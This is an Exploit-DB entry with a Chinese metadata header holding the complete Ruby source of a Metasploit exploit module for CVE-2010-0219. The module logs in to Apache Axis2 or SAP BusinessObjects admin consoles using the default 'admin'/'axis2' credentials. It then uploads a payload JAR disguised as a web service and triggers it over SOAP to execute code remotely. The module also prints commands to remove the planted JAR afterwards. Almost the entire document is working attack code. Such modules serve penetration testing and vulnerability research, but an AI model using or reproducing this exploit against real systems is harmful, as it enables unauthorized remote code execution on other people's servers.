标题: Axis2 / SAP BusinessObjects - (Authenticated) Code Execution (via SOAP) (Metasploit) EDB-ID: 16315 CVE: 2010-0219 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-12-14 漏洞利用脚本: ##
# $Id: axis2_deployer.rb 11330 2010-12-14 17:26:44Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit
 Rank = ExcellentRanking

 HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'     => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',
   'Version'  => '$Revision: 11330 $',
   'Description' => %q{
     This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
    and uploads and executes commands via deploying a malicious web service by using SOAP.
   },
   'References'  =>
    [
     # General
     [ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
     [ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
     [ 'CVE', '2010-0219' ],
    ],
   'Platform' => [ 'java', 'win', 'linux' ], # others?
   'Targets'  =>
    [
     [ 'Java', {
       'Arch' => ARCH_JAVA,
       'Platform' => 'java'
      },
     ],
     #
     # Platform specific targets only
     #
     [ 'Windows Universal',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'win'
      },
     ],

     [ 'Linux X86',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'linux'
      },
     ],
    ],
   'Author'   => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
   'License'  => MSF_LICENSE
  ))

  register_options(
   [
    Opt::RPORT(8080),
    OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
    OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]),
    OptString.new('PATH', [ true,  "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])
   ], self.class)
  register_autofilter_ports([ 8080 ])
 end

 def upload_exec(session)
  contents=''
  name = Rex::Text.rand_text_alpha(8)
  services_xml = %Q{
<service name="#{name}" scope="application">
 <description>
  #{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
 </description>
 <messageReceivers>
  <messageReceiver
   mep="http://www.w3.org/2004/08/wsdl/in-only"
   class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
  <messageReceiver
   mep="http://www.w3.org/2004/08/wsdl/in-out"
   class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
 </messageReceivers>
 <parameter name="ServiceClass">
  metasploit.PayloadServlet
 </parameter>
</service>
}
  if target.name =~ /Java/
   zip = payload.encoded_jar
   zip.add_file("META-INF/services.xml", services_xml)

   # We need this class as a wrapper to run in a thread.  For some reason
   # the Payload class is giving illegal access exceptions without it.
   path = File.join(Msf::Config.install_root, "data", "java", "metasploit", "PayloadServlet.class")
   fd = File.open(path, "rb")
   servlet = fd.read(fd.stat.size)
   fd.close
   zip.add_file("metasploit/PayloadServlet.class", servlet)

   contents = zip.pack
  else

  end

  boundary = rand_text_alphanumeric(6)

  data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
  data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
  data << contents
  data << "\r\n--#{boundary}--"

  res = send_request_raw({
   'uri'  => "/#{datastore['PATH']}/axis2-admin/upload",
   'method'  => 'POST',
   'data' => data,
   'headers' =>
   {
    'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
    'Content-Length' => data.length,
    'Cookie' => "JSESSIONID=#{session}",
   }
  }, 25)

  if (res and res.code == 200)
   print_status("Successfully uploaded")
  else
   print_error("Error uploading #{res}")
   return
  end
=begin
  res = send_request_raw({
   'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
   'method'  => 'GET',
   'headers' =>
   {
    'Cookie' => "JSESSIONID=#{session}",
   }
  }, 25)
  puts res.body
  puts res.code
  if res.code > 200 and res.code < 300
   if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
    dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
    puts dir
   else
    if ( a.scan(/catalina\.home<\/th><td style=".*">(.*)&nbsp;<\/td>/i) )
     dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
     puts dir
    end
   end
  end
=end


  soapenv='http://schemas.xmlsoap.org/soap/envelope/'
  xmlns='http://session.dsws.businessobjects.com/2007/06/01'
  xsi='http://www.w3.org/2001/XMLSchema-instance'

  data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
  data << '<soapenv:Envelope xmlns:soapenv="' +  soapenv + '"  xmlns:ns="' + xmlns + '">' + "\r\n"
  data << '<soapenv:Header/>' + "\r\n"
  data << '<soapenv:Body>' + "\r\n"
  data << '<soapenv:run/>' + "\r\n"
  data << '</soapenv:Body>' + "\r\n"
  data << '</soapenv:Envelope>' + "\r\n\r\n"

  print_status("Polling to see if the service is ready")
  1.upto 3 do
   Rex::ThreadSafe.sleep(3)

   res = send_request_raw({
    'uri'    => "/#{datastore['PATH']}/services/#{name}",
    'method'    => 'POST',
    'data'   => data,
    'headers' =>
     {
      'Content-Length' => data.length,
      'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
      'Content-Type'  => 'text/xml; charset=UTF-8',
     }
   }, 15)
   if res.code > 200 and res.code < 300
    print_status("")
    print_status("NOTE: You will need to delete the web service that was uploaded.")
    print_status("Using meterpreter:")
    print_status("rm \"webapps/#{datastore['PATH']}/WEB-INF/services/#{name}.jar\"")
    print_status("Using the shell:")
    print_status("cd  \"webapps/#{datastore['PATH']}/WEB-INF/services\"")
    print_status("del #{name}.jar")
    print_status("")
    break
   end

  end

 end

 def exploit
  user = datastore['USERNAME']
  pass = datastore['PASSWORD']
  path = datastore['PATH']
  success = false
  srvhdr = '?'
  begin
   res = send_request_cgi(
    {
     'method' => 'POST',
     'uri' => "/#{path}/axis2-admin/login",
     'ctype'  => 'application/x-www-form-urlencoded',
     'data'   => "userName=#{user}&password=#{pass}&submit=+Login+",
    }, 25)

   if not (res.kind_of? Rex::Proto::Http::Response)
    raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin not responding")
   end

   if res.code == 404
    raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin returned code 404")
   end

   srvhdr = res.headers['Server']
   if res.code == 200
    # Could go with res.headers["Server"] =~ /Apache-Coyote/i
    # as well but that seems like an element someone's more
    # likely to change

    success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
    if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
     session = $1
    end
   end

  rescue ::Rex::ConnectionError
   print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin Unable to attempt authentication")
  end

  if success
   print_good("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
   upload_exec(session)
  else
   print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
  end
 end

end URL: https://www.exploit-db.com/exploits/16315